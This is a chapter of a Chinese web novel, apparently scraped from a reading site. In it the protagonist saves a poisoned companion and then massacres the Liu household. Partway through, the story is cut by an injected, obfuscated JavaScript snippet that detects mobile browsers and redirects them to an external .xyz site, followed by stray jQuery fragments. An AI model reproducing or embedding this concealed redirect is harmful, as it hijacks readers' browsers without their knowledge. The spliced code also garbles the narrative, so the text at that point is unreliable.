24. 满门抄斩

作品:《为棋

    门外的黑衣卫面色平静而淡漠,静静听着屋内男子不成声的哭泣、撕心裂肺的哭喊。他双手抱臂,指尖匀速敲打着手臂。


    一下,两下……


    终于,手上的动作停了下来,他抬起眸——


    时候到了。


    “云梢……”


    屋中那人似真的没了办法,竟然哑着嗓子唤起了另一人的名字。几乎是在听到“云梢”二字的瞬间,长彻猛地被人推了个踉跄。


    那是个飒爽的女子,身后跟着几名大夫。女子眉宇间盈着怒气,厉声对他说道:“让开!”


    他不急不恼,默默退了一步。


    云梢推门进去,恰好对上那一双殷红的桃花眸。这还是她第一次见落承尘露出如此绝望的神情。


    “云梢……没有呼吸了……”他眼中透着不解与茫然,又低声喃喃:“怎么会……他在我怀中……”没了气。


    云梢走近了两步,而后一怔——她看见落承尘眸中的泪竟是呈透明的淡粉色的!


    她以为是错觉,但泪水打在衣袖上确实有一丝淡色。


    那是什么?为何会有这种颜色的泪?


    她不知道的是,落承尘喉间已反复涌上好几次腥甜了,如今就连呼吸,都带着血腥味。


    “怎么办啊……云梢…我怎么叫他都不醒……”


    “仍有脉搏。少爷,别抱那么紧。”


    落承尘眨着水光潋滟的眸子看向方才一进来便冲到他身旁替盛朝把脉的大夫,颤声问:“真的吗?”


    大夫叹了一声:“真的,尚有呼吸。不过太过微弱,许是您刚才过于紧张,所以没能探出。”


    落承尘松了力,迟钝地眨了眨眸,眼尾有泪水滑落。


    “拜托……宁公,救救他……”


    “老奴定当全力救治。”


    宁公给盛朝把着脉,神情愈发凝重。


    落承尘心脏一咯噔,小心问道:“如何了?”


    “五骨蚀。至多再过半个时辰,必会毙命。用量不少,且此毒无药可解。”他拧紧了眉,脸上皱纹更深,“除非……”


    “百毒散……”落承尘先他一步说出了那味解药,“是吗?百毒散…可以吗?”


    宁公点头,“应当是有用的。”


    “那宁公有带吗?”


    “有,身上一直带着一枚。不过人在昏迷中尚不能吞咽。”


    “那要如何才能醒?”


    “等……”宁公话未说完,落承尘怀中那人便无意识的呕出一滩黑血。


    毒侵蚀得更深了。


    “不好!”宁公神情一凛,眼疾手快塞进盛朝嘴里一枚药丸。


    而怀中人重重一咳,药丸伴着污血咳出了口,落承尘急急伸手接在了手心。


    太大了,喂不进去。


    “云梢,端水来。”


    云梢面色异常,却一语未言,速速端来一碗凉水。


    落承尘接过,吃进百毒散又含了一口凉水。身侧几人脸色骤变,宁公最先开口:“那血也是有毒的!”


    落承尘恢复了严肃的神情,他未做回应,用舌尖碾碎解药,随即俯下身,贴上盛朝的唇,将混着碎药的水渡进盛朝口中。


    他的唇被血浸红,确定药水被盛朝全部咽下后,他仰头含住一口水,漱口后又吐出。


    “无事,我自是会小心的。”他擦拭着唇边水渍,放平盛朝后,拾起在慌神时丢弃的长剑,撑着大腿起身。


    “有消息吗,是谁做的?”


    “柳家。”


    “……上马。”


    他转身离去,复又折返,“宁公,盛向晚就先拜托您了。”


    “少爷放心去吧。”


    落承尘点头,翻身上马。细长的指节拂过眼尾,他长睫一掀,露出了眼底翻腾着的浓浓杀意。


    马蹄声渐远,两人身影消失于浓雾之中。


    天阴了。


    没了日光,这座城显得格外荒凉。仿佛有什么东西藏在暗处,恶劣地弯起幽黑的眸,露出獠牙,即将吞噬这里的一切。


    —


    “圣旨在此,缘何不跪?”


    柳府大门大敞,府内哄乱不堪,附近各家都紧闭门窗,生怕圣上怒火烧及自家。


    手持圣旨的,正是当初接替吴有职位的小太监吴十一。


    他身后站着一队士兵,个个凶神恶煞,仿佛只要有人不从,他们便会出剑斩杀。


    柳府众人乱作一团,无一人敢下跪接旨。


    吴十一淡淡扫过一众下人,说道:“罢了,直接……!”


    眼前忽地闪过一道浅色身影,紧接着是一片红,而后血腥气扑面而来。方才持剑上前要袭击他的男人噗通倒地抽搐不断,喉间鲜血汩汩外流,不一会儿便咽了气。


    吴十一一惊——圣旨只说要押人入大牢,并没说要抄杀全府。


    尖叫声此起彼伏,他愣愣抬头,只见那浅衣男子背光而立,微微侧头,碎发垂落,睨向他的眼睛疏离而冷淡。


    男子美的惊人心魄。长睫如羽,血色点缀过后的脸更加瓷白,显得他是那样的脆弱,那样的不堪一击,偏偏手中长剑还在不断向下滴血。


    吴十一认得这面庞,桃花眸中无一丝柔情,这样一双眼睛,他也就只在落承尘脸上见过了。


    于是心中一动,他下令:“圣上有令,斩抄柳府满门,不得留一个活口。上!”


    众将士得令,纷纷拔剑杀了上去。


    落承尘深深看了他一眼。


    一时间,柳府成地狱。血溅得到处都是,吴十一看着这场无休止的厮杀,唇角勾起一抹淡笑,他退出门槛,转身离去。


    无人注意的角落,接连三名下人凭着矫健的身姿翻出了墙院,云梢想要追去,落承尘拦下了她。


    不去看云梢不解的神情,他只道:“之后再与你解释。”而后便独自一人去到了后院的一处草屋。


    不出所料,几个有脑子的都躲在此处,想要待血雨过后,寻机会离开呢。


    “承尘……承尘!”


    狼狈的人们都警惕地盯着他,可有一个人,见他来后似没看见他身上染了血的衣裳,神情变得激动起来。


    柳还清。


    柳还清拨开了自己的兄姊啊,满脸雀跃地走到落承尘身前,而后他脸上的笑凝了,眉头也微微蹙起。


    他在面前这个嘴角噙着淡笑,眉眼生情的男子身上闻到了浓重的血腥气。


    “落承尘,你……”


    看着他疑惑的眼神,落承尘微微歪头,脸上的笑愈发柔和。


    “可是你给盛王下的毒?”


    “什么……!”柳还清身后突然有人惊恐出声:“回来!”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806006|158518||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而不等柳还清反应,噗呲一声,长剑刺穿了他的胸膛。


    “落承尘……你……”


    剑出,血涌。柳还清直挺挺倒地,无一人敢扶。


    不知是谁咒骂了一声:“真是个没脑子的。”


    落承尘踩着粘稠血液,一步步逼近那些个穿衣着华丽却狼狈不堪的柳家子弟。


    他的笑是那样的柔和,却让柳家子弟不寒而栗。


    嘀嗒。嘀嗒。


    温热的血液自剑锋滴落,打在地上发出轻微的响声,犹如一首动听又令人窒息的催命曲。


    “不是我……不是我做的!别杀我!”柳涧已经吓得痛哭流涕了。


    落承尘瞧着他这模样,不由地嗤笑:“胆子真小。”


    “我当然知道不是你,亦不是柳家的任何人。可有人要你们死,我能有什么办法呢?”他故作无奈地摇摇头又痛惜地叹了一声。


    “不可能,圣上明明……”


    “我有说过是陛下要你们死吗?”他轻笑出声,“你这贪官,还真是傻的可怜。”


    于是剑出鞘,叫声起,又一人倒在血泊中。


    “你们手上明明有剑,为何不出手呢?”此话一出,柳家几个稍年长的纷纷反应过来,刚要持剑冲上去,便又听到:“是怕死的更快吗?”


    男子笑了,血色缀在柔媚动人的面庞上,桃花眸弯起,风情万种。红衣衬得他更加妖冶。


    他身形单薄,面色惨白,看上去十分柔弱,却无一人敢接近。


    男子手中长剑正流着未干涸的血。


    那是朵鲜艳欲滴,却危险至极的花朵。


    须臾,不知是谁发现了他愈发苍白的面色,大喊一声:“上!他身上有伤,撑不了多久!”


    而后持有剑刃的男人一哄而上。落承尘不以为意,笑容依旧。忽地,他眸光一凛,紧接着惨叫声此起彼伏。


    “只这点小伤,于我而言还真不算什么。”


    发带彻底散了,他淡淡笑着,将浸满血液的长发挽到耳后。长剑被他一寸寸从腹部拔出,鲜血汩汩,他脸色又白三分。


    伤了他的那人已经咽了气。失了太多血,他身形微晃,呼出一口浸着血腥味的气,弯下身拾起发带,将长发拢到脑后高高束起。


    他扶上木门,双手因剧痛而不住颤抖。


    推开破烂的木门,又是阵阵伴着血腥的风。


    都死了。


    他拖着沉重不堪的身躯走到中庭,就要跌倒时,云梢接住了他,好歹是没直直摔过去。


    衣衫被解开,腹部那道狰狞的伤口简直触目惊心,云梢不多废话,撕下他一处还算干净的衣裳撕成长条,在他腰上缠了几圈。


    “可都……杀干净了……”


    “嗯。”女子不多言,费了大力将他扔上马,随后自己翻身而上,自后方护住了即将昏死的主子。


    “那些士兵……”


    “都已杀死,别说话了,省些体力。”


    落承尘吐出一口气,阖上了眸子。


    马儿跑得飞快,颠的他身子快要散了。伤口很疼。


    好疼……


    “要掉了!清醒点!”


    女子一声暴喝,惊醒了昏睡过去的落承尘。


    “快到了,醒醒!”


    他迷迷糊糊应了一声,而后意识越来越沉……